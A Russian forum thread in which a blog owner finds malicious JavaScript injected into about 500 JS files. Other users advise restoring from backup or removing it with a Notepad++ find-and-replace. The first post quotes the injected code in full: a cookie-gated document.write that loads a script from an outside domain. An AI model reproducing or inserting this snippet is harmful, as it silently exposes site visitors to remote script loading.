X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> Заражены все js-файлы
FIvYur
FIvYur
Topic Starter сообщение 9.2.2013, 16:31; Ответить: FIvYur
Сообщение #1


Добрый день. Сегодня яндекс нашел на блоке вирус. Как выяснилось это вот что:
function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<scr'+'ipt src="http://ratingsite.org/ratingsite.php"></scr'+'ipt>');}


Скачал себе папку с блогом на комп.
Проверил там аж 500 файлов с вредным кодом. Заражены практически js-файлы.

Можно как то его сразу заменить или удалить из всех? Может кто знает? А то 500 файлов проблематично редактировать.


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Jean
Jean
сообщение 10.2.2013, 13:45; Ответить: Jean
Сообщение #2


[member=FIvYUr], Тоже не давно была такая проблема, исправил восстановив сайт из бекапа. Обратитесь к хостеру.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
FIvYur
FIvYur
Topic Starter сообщение 10.2.2013, 15:34; Ответить: FIvYur
Сообщение #3


А хостеру что писали? Может сбросите текст письма?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
yury_mw
yury_mw
сообщение 10.2.2013, 16:13; Ответить: yury_mw
Сообщение #4


Можно как то его сразу заменить или удалить из всех? Может кто знает? А то 500 файлов проблематично редактировать.

Если код везде одинаковый, то
* берем Notepad++
* открываем один из файлов с заразой, выделяем то, что надо убрать (включая перевод строки в конце)
* Ctrl+Shift+F (выделенное в предыдущем пункте автоматом попадет в поле "Найти")
* в открывшемся окошке при необходимости ставим галку напротив "Во всех подпапках"
* В поле "Папка" указываем место где лежат файлы для обработки
* В поле "Заменить на" должно быть пусто
* Жмем кнопку "Заменить в файлах"
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Jean
Jean
сообщение 10.2.2013, 16:56; Ответить: Jean
Сообщение #5


[member=FIvYUr], У меня на одном есть возможность восстановить сайты из бекапа самому. А на другом написал что сайт заражен и прошу восстановить сайт из бекапа ...такой то даты..
Но предупреждаю, чаще всего у хостера бекап хранится не более недели.

[member=yury], Файлов много и чаще самый простой выход, просто перезалить.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
yury_mw
yury_mw
сообщение 10.2.2013, 17:25; Ответить: yury_mw
Сообщение #6


Файлов много
Специально сейчас создал 10,000 файлов с текстом "Файлов много и чаще самый простой выход, просто перезалить."
На всякий случай, это можно быстро сделать таким батовским файлом:
@ECHO OFF
FOR /L %%i IN (1,1,10000) DO ECHO Файлов много и чаще самый простой выход, просто перезалить.  > %%i.txt

и заменил указанным выше способом в них текст на "Файлов много, но Notepad++ их все шустро обработает."
(Заменялась подстрока "и чаще самый простой выход, просто перезалить" на ", но Notepad++ их все шустро обработает").

Замена выполнилась за ~10сек.
---------------------
А бэкап да. На то он и нужен: решит все проблемы.
Если он, конечно, есть на ту дату, когда заразы еще не было.

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) QIWI кажется все?
101 Silverspam 16085 15.3.2024, 10:43
автор: Skyworker
Открытая тема (нет новых ответов) Мегамаркет. Скидка 1000 рублей при покупке от 5000 рублей на все, на первый заказ.
Мегамаркет. Скидка 1000 рублей при покупке от 5000 рублей на все, на п
4 stu999 1231 4.3.2024, 20:04
автор: stu999
Открытая тема (нет новых ответов) Кто где хранит файлы? И какой объем?
просто интересно
16 mark2013 1692 23.2.2024, 23:50
автор: bestx24
Открытая тема (нет новых ответов) Все легальные аккаунты без НДС. Facebook Ads, Яндекс Директ и Google Ads без НДС. Отзывы SaveBalance
123
5 DerianFox 3732 7.7.2023, 19:07
автор: rom36
Открытая тема (нет новых ответов) RedBox - все нужные инструменты в одном месте
0 fantomofdarkness 764 15.2.2023, 14:50
автор: fantomofdarkness


 



RSS Текстовая версия Сейчас: 19.3.2024, 12:46
Дизайн